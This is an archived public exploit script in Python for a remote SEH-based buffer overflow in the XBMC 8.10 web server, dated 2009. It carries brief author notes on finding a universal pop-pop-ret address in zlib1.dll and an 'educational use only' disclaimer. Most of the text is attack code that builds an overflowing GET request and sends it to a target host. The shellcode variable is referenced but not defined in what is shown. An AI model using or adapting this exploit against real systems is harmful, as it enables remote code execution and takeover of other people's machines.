XBMC 8.10 - GET Remote Buffer Overflow (SEH) (Universal)













#!/usr/bin/env python 

Xbmc get request remote buffer overflow 8.10 *seh*(Universal address)!!  

Tested:Win xp sp2 eng Win vista sp1
Vendor url:http://xbmc.org/ 
Release date:April the 4th 2009

versions affected: windows all versions. 

I had tried awhile to get a nice pop ebx pop ret address and just   
could not find a suitable one especially that was any good.and it   
had to be shipped with the application and not have /safe seh.  
To start with i looked at the zlib.dll to see of there were any 
nice pop pop ret address i noticed there was one in particular that 
stood out and decided to try it. 
There is no need for me to release any more exploits for this application  
as i have covered all the areas which i wanted to and want to   
move on from this. 
If your interested to see how this worked attach a debugger and add some 
hit tracing :).It is possible to use this with all the buffer overflows 
i released. 

Credits to n00b for finding the buffer overflow and writing  

The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
Educational use only..!!

import sys, socket 
import struct

port = 80 
host = sys.argv[1] 

Junk_buffer1 = 'A'*998
Pointer_To_Next_SEH = struct.pack('<L',0x909006eb)

###/SafeSEH Module Scanner, item 55
# SEH mode=/SafeSEH OFF
# Base=0x62e80000
# Limit=0x62e97000
# Module Name=C:\Program Files\XBMC\zlib1.dll

###This was found in the module zlib1 and is universal.
#62E83BAC   5B               POP EBX
#62E83BAD   5D               POP EBP
#62E83BAE  ^E9 CDD9FFFF      JMP zlib1.compressBound
SE_Handler = struct.pack('<L',0x62E83BAC)

Junk_buffer3 = 'D'*635

# create a socket object called 'c' 
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

# connect to the socket 
c.connect((host, port)) 

Request = (Junk_buffer1 + Pointer_To_Next_SEH + SE_Handler + Shell_code + Junk_buffer3)

# create a file-like object to read 
fileobj = c.makefile('r', 0) 

# Ask the server for the file 
fileobj.write("GET /"+Request+" HTTP/1.1\n\n") 

# milw0rm.com [2009-04-06]